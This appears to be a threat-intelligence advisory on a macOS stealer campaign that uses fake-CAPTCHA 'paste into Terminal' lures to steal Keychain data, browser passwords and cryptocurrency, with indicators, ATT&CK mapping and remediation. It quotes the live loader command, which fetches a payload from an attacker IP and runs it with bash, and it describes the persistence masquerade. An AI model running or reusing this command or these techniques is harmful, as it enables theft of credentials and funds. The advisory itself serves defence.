Go-Based macOS Stealer Uses ClickFix Lures to Drain Cryptocurrency Wallets (Aeza Group Infrastructure)
Go-Based macOS Stealer Uses ClickFix Lures to Drain (TL-2026-2066) is a high-severity malware campaign, first published 2026-08-18. It is linked to a Russia-nexus actor with low confidence, affects Apple macOS, maps to 14 MITRE ATT&CK techniques (T1005, T1027, T1036.005), and is covered by 9 detection rules and 15 indicators of compromise.
Key facts for TL-2026-2066
- Threat ID
- TL-2026-2066
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-08-18
- Last reviewed
- 2026-08-18
- Attribution confidence
- LOW
- Nation-state nexus
- Russia
- Motivation
- FINANCIAL
- Detection rules
- 9
- Indicators of compromise
- 15
A Go-based, dual-architecture (ARM64/x86_64) Mach-O stealer targeting macOS is distributed via ClickFix fake-CAPTCHA social engineering that tricks victims into pasting a Bash loader into Terminal. The malware harvests browser password stores and Apple Keychain data and includes a configurable DRAIN routine that siphons partial or complete balances from Bitcoin, Litecoin, Dogecoin, Monero, Ethereum, and XRP wallets to attacker-controlled addresses. Delivery, staging, and C2 infrastructure trace to Aeza Group, a Russian bulletproof-hosting operator sanctioned by the US Treasury (July 2025) and jointly by the US, UK, and Australia (November 2025).
How Go-Based macOS Stealer Uses ClickFix Lures to Drain works
Huntress identified this campaign during a June 2026 retrospective threat hunt on a macOS endpoint that had been compromised roughly three months earlier, and published its analysis on August 6, 2026. The infection chain begins with ClickFix social engineering: a fake CAPTCHA/verification page instructs the victim to paste a command into Terminal. The observed command sets an environment variable pointing at the lure domain and pulls a first-stage payload from an Aeza-Group-hosted IP over HTTP: `export SRC_URL='https://profitnow.io/' && (cd /tmp && curl -kfsSL "http://193.29.224.151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK)`.
The downloaded Bash script (stage 1) acts as a profiler/loader: it runs `ioreg` and `system_profiler` for hardware/system enumeration, captures the current username via `whoami`, and uses `uname -m` to select an architecture-matched second-stage payload (a separate ARM64 build for Apple Silicon and an x86_64 build for Intel Macs). It stages the payload inside a directory crafted to resemble Apple's `trustd` cryptographic-validation process (`$HOME/Library/Caches/com.apple.trustd/`) and strips the macOS quarantine attribute so Gatekeeper does not warn the user before execution.
The stage-2 payload is a Go-compiled Mach-O binary obfuscated with the Go Garbler string-obfuscation tool to resist static analysis. At runtime it harvests saved passwords from browser credential stores, extracts secrets from the Apple Keychain, and enumerates the filesystem for cryptocurrency wallet files and cached browser cookies. For privilege escalation it spawns an `osascript` dialog that spoofs a legitimate macOS administrator-password prompt, tricking the user into typing their real credentials into a fake system dialog. Observed persistence copies the binary to paths masquerading as Apple system services — `$HOME/Library/Caches/com.apple.softwareupdate/SoftwareUpdate` (an alternate path `$HOME/Library/Caches/homeenergyd/com.apple.homeenergyd` was also observed) — ad-hoc code-signs it, and registers it as a user LaunchAgent (`$HOME/Library/LaunchAgents/com.apple.softwareupdated.plist`) via the Background Task Management subsystem.
The malware's defining feature is a dedicated `DRAIN` routine with separate subroutines for UTXO-based chains (Bitcoin, Litecoin, Dogecoin), Monero, Ethereum, and XRP/Ripple. It queries public blockchain data to determine a wallet's balance, then transfers funds to a hardcoded or C2-supplied attacker address. A `DRAIN_PCT` configuration value lets the operator siphon only a set percentage of a victim's balance per transaction (Huntress notes this partial-drain capability as novel among the crypto-stealers it has analyzed) rather than emptying the wallet outright, likely to delay victim detection.
All observed infrastructure — the payload-hosting IPs, the HTTP command-and-control endpoint on a non-standard port (138.124.118.69:8133), and the lure domain — resolves to Aeza Group (AS210644), a Russia-based bulletproof-hosting provider. OFAC designated Aeza Group and its leadership on July 1, 2025 for enabling ransomware, information-stealer (including Meduza and Lumma), and darknet-marketplace (BlackSprut) operations; the US, UK, and Australia jointly expanded sanctions on November 19, 2025 to cover Aeza's continued operations and its use of the UK-registered shell Hypercore Ltd. to evade the original designation. No specific threat actor or intrusion set has been publicly attributed to this particular ClickFix/crypto-drain campaign; attribution is at the hosting-infrastructure level only.
MITRE ATT&CK techniques used in TL-2026-2066
Collection
Defense Evasion
T1027 Obfuscated Files or Information; T1036.005 Match Legitimate Resource Name or Location; T1070.003 Clear Command History
Execution
T1059.004 Unix Shell; T1204.004 Malicious Copy and Paste
Discovery
T1082 System Information Discovery
Persistence
Privilege Escalation
T1548.004 Elevated Execution with Prompt
defense-impairment
Credential Access
T1555.001 Keychain; T1555.003 Credentials from Web Browsers
Initial Access
Impact
Affected products and versions in Go-Based macOS Stealer Uses ClickFix Lures to Drain
- Apple — macOS
Vulnerable versions: ARM64 (Apple Silicon); x86_64 (Intel)
Remediation for Go-Based macOS Stealer Uses ClickFix Lures to Drain
Immediate actions
- Block network indicators 193.29.224.151, 77.221.152.34, 138.124.118.69:8133, and the domain profitnow.io at perimeter/DNS/proxy layers
- Hunt for the file artifacts $HOME/Library/Caches/com.apple.trustd/com.apple.verified, $HOME/Library/Caches/com.apple.softwareupdate/SoftwareUpdate, $HOME/Library/Caches/homeenergyd/com.apple.homeenergyd, and the LaunchAgent $HOME/Library/LaunchAgents/com.apple.softwareupdated.plist across managed macOS fleets
- Isolate any host where the ClickFix paste-and-run pattern was executed and rotate all browser-saved and Keychain-stored credentials on that host
- Treat any cryptocurrency wallet accessed from a suspected-infected macOS host as compromised and migrate funds to a new wallet on a clean device
Workarounds
- Educate users never to paste and execute clipboard content in Terminal in response to a CAPTCHA/verification prompt from a webpage
Longer-term hardening
- Deploy EDR/behavioral monitoring on macOS fleets that alerts on Terminal.app receiving pasted multi-stage curl|bash chains and on xattr/quarantine-attribute removal
- Enforce user training against ClickFix-style fake-CAPTCHA 'paste this into Terminal' lures
- Restrict or monitor LaunchAgent creation in user Library paths and alert on binaries masquerading as com.apple.* service names
- Maintain a standing macOS EDR detection for osascript-spawned administrator-credential dialogs originating from non-Apple-signed processes
Timeline of Go-Based macOS Stealer Uses ClickFix Lures to Drain
- US Treasury OFAC designates Aeza Group and its leadership for providing bulletproof hosting to ransomware and infostealer operators (including Meduza and Lumma) and the BlackSprut darknet marketplace.
- The US, UK, and Australia jointly expand sanctions to cover Aeza Group's continued operations, including its use of UK-registered shell Hypercore Ltd. to evade the July 2025 designation.
- Approximate window of initial compromise on the victim endpoint later examined by Huntress, based on artifact age observed during the June 2026 retrospective hunt (exact date not disclosed).
- Huntress identifies the ClickFix-delivered Go-based Mach-O stealer during a retrospective threat hunt on a macOS endpoint infected roughly three months earlier (exact date not disclosed).
- BleepingComputer, The Hacker News, Infosecurity Magazine, and other outlets syndicate coverage of the Huntress findings the same day.
- Huntress publishes technical analysis of the campaign, including the ClickFix lure, dual-architecture stealer, DRAIN cryptocurrency-theft routine, and Aeza Group infrastructure attribution.
Sources cited for Go-Based macOS Stealer Uses ClickFix Lures to Drain
- Mac Malware Drains Crypto Wallets Via Fake CAPTCHA Scam
- ClickFix attack pushes macOS infostealer for crypto theft attacks
- ClickFix Attacks Deliver macOS Stealer That Can Drain Crypto Wallets
- Fake CAPTCHA, Real Theft: macOS ClickFix Drains Crypto Wallets
- macOS Stealer Uses ClickFix to Drain Crypto Wallets
- Go-Based macOS Malware Steals Crypto and Secrets
- Mac Malware Found Draining Crypto Wallets After Fake CAPTCHA Trick
- Single terminal command steals Mac crypto wallets
- ClickFix Attack Delivers macOS Infostealer Built for Crypto Theft
- ClickFix macOS Malware: Crypto Drainer Targets Keychain Data
- Treasury Sanctions Global Bulletproof Hosting Service Enabling Cybercriminals and Technology Theft
- United States, Australia, and United Kingdom Jointly Sanction Ransomware Infrastructure Providers
- United States, United Kingdom, and Australia Jointly Target Russian Cybercrime Infrastructure: Media Land and Aeza Group
Threats related to Go-Based macOS Stealer Uses ClickFix Lures to Drain
- ClickFix Attacks Deliver Go-Based macOS Infostealer Targeting Crypto Wallets and Keychain Data
- ClickFix Attack Delivers Go-Based macOS Infostealer Targeting Cryptocurrency Wallets and Credentials
- AmnesiaStealer: macOS Infostealer Hijacks Live Browser Sessions via Chrome DevTools Protocol Remote Control
- Meow Mac Stealer RAT: macOS ClickFix Lures Deploy AppleScript Infostealer with Persistent RAT Capabilities
- MacSync Stealer: 'ClaudeFix' Malvertising Campaign Abuses Shared Claude Chat Links to Deploy macOS Infostealer
Detection coverage for TL-2026-2066
As of 2026-08-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2066 across Splunk SPL, Microsoft KQL and Sigma, covering 15 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.